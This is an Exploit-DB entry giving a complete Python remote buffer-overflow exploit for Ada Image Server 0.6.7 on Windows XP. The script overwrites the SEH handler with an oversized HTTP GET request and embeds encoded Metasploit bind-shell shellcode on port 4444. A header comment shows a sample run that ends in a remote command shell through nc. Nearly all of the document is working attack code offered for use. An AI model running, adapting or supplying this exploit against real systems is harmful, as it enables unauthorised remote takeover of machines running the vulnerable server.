Exploit-DB #10056
Description: Ada Image Server 0.6.7 - 'imgsrv.exe' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-10-07
Author: blake

Exploit:
#!/usr/bin/python
# Only usable module with safeseh disabled on XP SP2 and XP SP3 is imgsrv.exe.
# However, it contains a null character in the address (ex: XP SP3 => 00689aff).
# Versions above 0.6.7 do not seem to be vulnerable.
# 
# $ ./imgsrv.py 192.168.1.146
#
# [*] Ada Image Server v0.6.6 SEH Overwrite
# [*] Discovered/Exploited by Blake
# [*] Tested on XP SP1
#
# [+] Connecting to 192.168.1.146
# [+] Sending payload
# [+] Payload Sent
#
# $ nc 192.168.1.146 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Imgsvr>

import socket, sys

print "\n[*] Ada Image Server v0.6.6 SEH Overwrite"
print "[*] Discovered/Exploited by Blake"
print "[*] Tested on XP SP1\n"

if len(sys.argv)!= 2:
	print "[*] Usage: %s <ip>\n" % sys.argv[0]
	sys.exit(0)

host = sys.argv[1]
port = 1235		# default port

# windows/shell_bind_tcp - 696 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=

shellcode = (
"\x89\xe1\xda\xd5\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b"
"\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b"
"\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a"
"\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x43\x31"
"\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4d\x49\x4e\x4c\x4d\x54\x49\x50\x43\x44\x44\x47"
"\x49\x51\x48\x4a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c\x34\x47"
"\x4b\x51\x44\x47\x54\x47\x58\x44\x35\x4a\x45\x4c\x4b\x51\x4f"
"\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b"
"\x4d\x59\x42\x4c\x46\x44\x45\x4c\x45\x31\x48\x43\x50\x31\x49"
"\x4b\x43\x54\x4c\x4b\x50\x43\x46\x50\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51"
"\x4e\x42\x48\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"
"\x4e\x36\x45\x36\x50\x53\x43\x56\x43\x58\x46\x53\x46\x52\x45"
"\x38\x42\x57\x43\x43\x46\x52\x51\x4f\x51\x44\x4b\x4f\x48\x50"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48"
"\x56\x51\x4f\x4c\x49\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x44\x48"
"\x43\x32\x50\x55\x42\x4a\x43\x32\x4b\x4f\x4e\x30\x45\x38\x48"
"\x59\x43\x39\x4a\x55\x4e\x4d\x46\x37\x4b\x4f\x4e\x36\x51\x43"
"\x51\x43\x51\x43\x51\x43\x51\x43\x51\x53\x51\x43\x50\x43\x50"
"\x53\x4b\x4f\x48\x50\x45\x36\x43\x58\x42\x31\x51\x4c\x45\x36"
"\x51\x43\x4d\x59\x4d\x31\x4a\x35\x43\x58\x4e\x44\x45\x4a\x44"
"\x30\x48\x47\x46\x37\x4b\x4f\x49\x46\x42\x4a\x42\x30\x46\x31"
"\x50\x55\x4b\x4f\x48\x50\x42\x48\x49\x34\x4e\x4d\x46\x4e\x4d"
"\x39\x46\x37\x4b\x4f\x4e\x36\x46\x33\x50\x55\x4b\x4f\x48\x50"
"\x43\x58\x4b\x55\x50\x49\x4c\x46\x50\x49\x46\x37\x4b\x4f\x4e"
"\x36\x50\x50\x51\x44\x50\x54\x50\x55\x4b\x4f\x48\x50\x4a\x33"
"\x42\x48\x4b\x57\x44\x39\x48\x46\x44\x39\x51\x47\x4b\x4f\x49"
"\x46\x46\x35\x4b\x4f\x48\x50\x45\x36\x42\x4a\x43\x54\x43\x56"
"\x42\x48\x42\x43\x42\x4d\x4b\x39\x4b\x55\x42\x4a\x50\x50\x50"
"\x59\x51\x39\x48\x4c\x4c\x49\x4a\x47\x43\x5a\x47\x34\x4b\x39"
"\x4a\x42\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47\x32\x46"
"\x4d\x4b\x4e\x47\x32\x46\x4c\x4d\x43\x4c\x4d\x42\x5a\x50\x38"
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x43\x42\x4b\x4e\x4e\x53\x44"
"\x56\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x4e\x36\x51\x4b\x50\x57"
"\x51\x42\x50\x51\x50\x51\x50\x51\x42\x4a\x45\x51\x50\x51\x50"
"\x51\x50\x55\x50\x51\x4b\x4f\x4e\x30\x42\x48\x4e\x4d\x4e\x39"
"\x44\x45\x48\x4e\x46\x33\x4b\x4f\x49\x46\x43\x5a\x4b\x4f\x4b"
"\x4f\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x50\x57\x4b\x4c\x4b\x33"
"\x49\x54\x42\x44\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x48\x50\x43"
"\x58\x4c\x30\x4c\x4a\x43\x34\x51\x4f\x51\x43\x4b\x4f\x48\x56"
"\x4b\x4f\x4e\x30\x41\x41")


payload = "\x41" * 19000			# overwrites seh handler at 19734
nops = "\x90" * 29				# nop sled				
sc = shellcode					# shellcode - 696 bytes
near_jmp = "\xe9\x44\xfd\xff\xff"		# jump back -700 bytes
next_seh = "\xeb\xf9\xff\xff"			# jump back -7 bytes 
seh = "\x10\xbf\xc1\x77"			# c:\windows\system32\msvcrt.dll
junk = "\x43" * 262				# junk buffer


print "[+] Connecting to %s" % host
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	s.connect((host,port))
except:
	print "[x] Could not connect!\n"
	sys.exit(0)	

print "[+] Sending payload"
s.send("GET /" + payload + nops + sc + near_jmp + next_seh + seh + junk + " HTTP/1.0\r\n\r\n")
s.close()
print "[+] Payload Sent\n"